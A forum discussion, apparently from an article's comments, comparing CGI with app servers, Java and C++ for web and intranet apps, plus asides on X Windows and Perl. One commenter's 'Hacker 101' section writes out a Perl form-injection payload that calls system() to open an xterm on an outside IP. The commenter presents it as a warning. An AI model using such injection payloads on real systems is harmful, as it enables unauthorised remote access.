You talk about frameworks, it depends, in a typical webapp you have at least one framework, the one serving and consuming the http infrastructure, and that is pretty much the lowest level you can get unless you program even that yourself. This is also what every so called framework provides at its lowest level, in java for instance this is the servlet level. If you want you can stay there. Now if you mean with CGI c++, then lets talk about security, you omit security by using a language which allows buffer overruns in strings. And as soon as you hit more than a few lines of code, the db issues crops up like an evil ghost, then you are back to db access layers etc... There are only a handful of usecases outside of hello world where we need cgi only makes sense.
Java was just an example. If you write stuff in C++ to fit inside an appserver, then I wonder why you don't turn the order of things around. That is, write your application, and have a library on the side which runs a http server, publishing your app - but that's just a side-thought. With C++ I'd mainly have the reservation that the danger of heap-corruption by a neighbouring (different app-owned, even) thread is even bigger. I mean, in a java appserver I only run the risk that a badly programmed Servlet throws some element on a static Vector which each request, leaking memory until it can't run no more. With C++ I run the risk that some neighbouring thread causes a seqfault. With process isolation, I might spend time sucking up my state; with an app-server, how much time is spent inside locks ?
No, I love process isolation; I can add, remove, debug a single element of my app, all the while the machine keeps on running. In my line of business, there are no static, 'finished' applications. Ever. That's why I go for CGI every time.
Religion is what happens when nature strikes and groupthink goes wrong.
What about XUL?
I [may] disapprove of what you say, but I will defend to the death your right to say it.
Yes! I must! They have been bad little users, and must submit to their master!
Any language in the hands of bad developers can cause problems. While C++ heap corruptions can be easily detected by number of tools (including MSDEV), good programming is not something a compiler can always help with. Java suffers from many other problems like resource leaks, circular refernces that prevent GC from cleaning up correctly, object bloat (objects for everything under the sun, I suppose pun intended), and oevrall code bloat. WebSpehere that I worked with would take 1.2 GB just to start up and we often hit the 2GB barrier, there is way too much stuff with java that you just don't need but it's there taking up resources and space.
I have been writing CGIs since 1994 and often used the CGI as a test or proof of concept. The thing I do not like about them is to make them work you have to write additional "services" that manage things like persistence, database connection pooling, static content caching, XSLT processing (caching parsed stylesheets), etc.
I can see when you have a highly changing environment, a CGI offers enough simplicity to make the needed changes without having a framework to rely on (heck, my CGI library was designed to let people write C++ objects that would inherit common functionality accross CGI calls to make life easy, and that was in 1995). Since mid 90s I have run across way too many complex problems that CGIs were not always ideal in solving (most revolve around database connectivity and session management), so I have been drifting more and more toward app servers (and not java kind, I have what happened to java, too many corporations with their pointless JSRs have made it into a bloated sack of lard).
Your point for CGIs is valid, they offer great isolation, but I tend to lean to speed and efficiency when I can, so I have been drifting away from CGIs.
This is more from a perl programmer (or really any shell scripting language) perspective - if you don't know a scripting language then I agree- VB/Excel is probably easier. Installing a web server is trivial and usually installed already, but maybe not enabled. Writing HTML is practically a non-issue these days - download a WYSIWYG editor and write the page. Yes, there's a learning curve, but creating a simple form is fairly trivial (and if that fails, find something you like that's similar, use "View Page Source" and copy).
I've done exactly this sort of interface before - the form basically got a list of machines and ports, a build, and a release level and kicked off a series of upgrades on those machines. As machines completed you would get Gray/Red/Yellow/Green indicators on the web results page (which just used a simple html update every 30 seconds). Gray meant not complete, Red meant it failed or the monitoring/processing script died on that machine, Yellow meant some oddity occurred but it reported successful (it was compared to a sample file), and Green meant successful. The perl scripts and web pages were really quite simple for all that and certainly didn't take a lot of processing power. For a password protected Intranet app, it worked great.
I'd go one step further about networked apps, however - this is REALLY BAD for a networked app - I'd recommend only using it for an internal app (which is what the author seems to be implying, anyway).
Why? Aside from the individual processes taking up a lot of CPU, because CGI (and perl especially) is notoriously easy to hack using carefully constructed form entries and needs to be parsed carefully (the one time I did this, my parser was longer than my code). Some of the earliest exploits used form hacks to gain root, which is why web servers typically don't run as root outside the parent process anymore (not sure about Windows servers, but if they run in admin mode they would be at risk).
Hacker 101: hacking perl using form entries
This is probably a bit technical if you're not versed in UNIX. The exploit is by no means limited to UNIX, but you need other commands to do what you want on other OSes.
Take a Form entry - you expect to parse something like
John Smith
what the hacker might put in is something like this (which might have errors, example is for the gist):
John Smith\n\";system(\"set DISPLAY=10.1.1.12:0.0; export DISPLAY; xterm &\");
note that I used the "long" form of export - this was intentional because sh doesn't always support the single line export command (export DISPLAY=... - really a ksh feature added to bash which sometimes replaces sh).
another note: spaces and some other chars get translated by the browser but are typically translated back in the perl program and there are some differences between GET and POST methods, but I'll ignore those since they really aren't relevant.
the goal for a hacker is to get the text read into a perl variable like this:
$var="John Smith";system("set DISPLAY=10.1.1.12:0.0;xterm &");
if you then do anything to the data such as
print $var
Perl constructs this as
print "John Smith";system("set DISPLAY=10.1.1.12:0.0;xterm &");
and then interprets it. Since ; means end one command and begin another, you actually get
print "John Smith";
and
system("set DISPLAY=10.1.1.12:0.0;xterm &");
nitpickers will notice there are still a few issues here - xterm might need to be the full path to the xterm app (and you're assuming UNIX or UNIX work-alike) and some sort of a UNIX at the other end with xhost permissions turned on for that domain or machine (or even an xhost + for everyone) on the hacker's server. This is just an example - you could just send spam using sendmail, for instance.
to be quite honest, when I used this exploit (a long time ago), I usually tried to attack the cgi directly on the address line whenever possible (bypassing line length limits from the browser).
I really like your firefox extension idea - makes me want to develop it myself, but I know there's a mountain of knowlege I'm missing that I'd need to make it happen. Either way, great idea.
A few misconceptions, though: X doesn't have to run with the desktop. Windows can float freely in your existing environment (it's a matter of configuration options or runtime arguments).
Second, the look and feel of the widgets can depend entirely on the X server. I'm talking the "X server" that's running on your local workstation, not the server on which the X application resides. An X server could be customized to run on your OSX that would have all of the Aqua look and probably even many of its features (like spell check). Much of that stuff isn't there yet simply because it hasn't been implemented, but not because it's not permitted by the design of X.
Web browsers, one of the highest level of abstraction ever acquired for application development. Great, they've been here for a long time already.
The article isn't anything else than a memory refresh.
Many of us already know CGI, since it's a fairly common and fairly easy interface. Many of us already know HTML.
The sample application that led me to this article is a document management system which associates scanned images with a database of material about them (phone numbers, company names, etcetera). The CGI and HTML part was fairly simple, certainly much simpler than comparable tasks in most GUI programming environments.
The file store interface was just Berkeley DB with locking. Works great.
My blog: http://www.seebs.net/log/ --- My iPhone/iPad app: http://www.seebs.net/seebsfrac/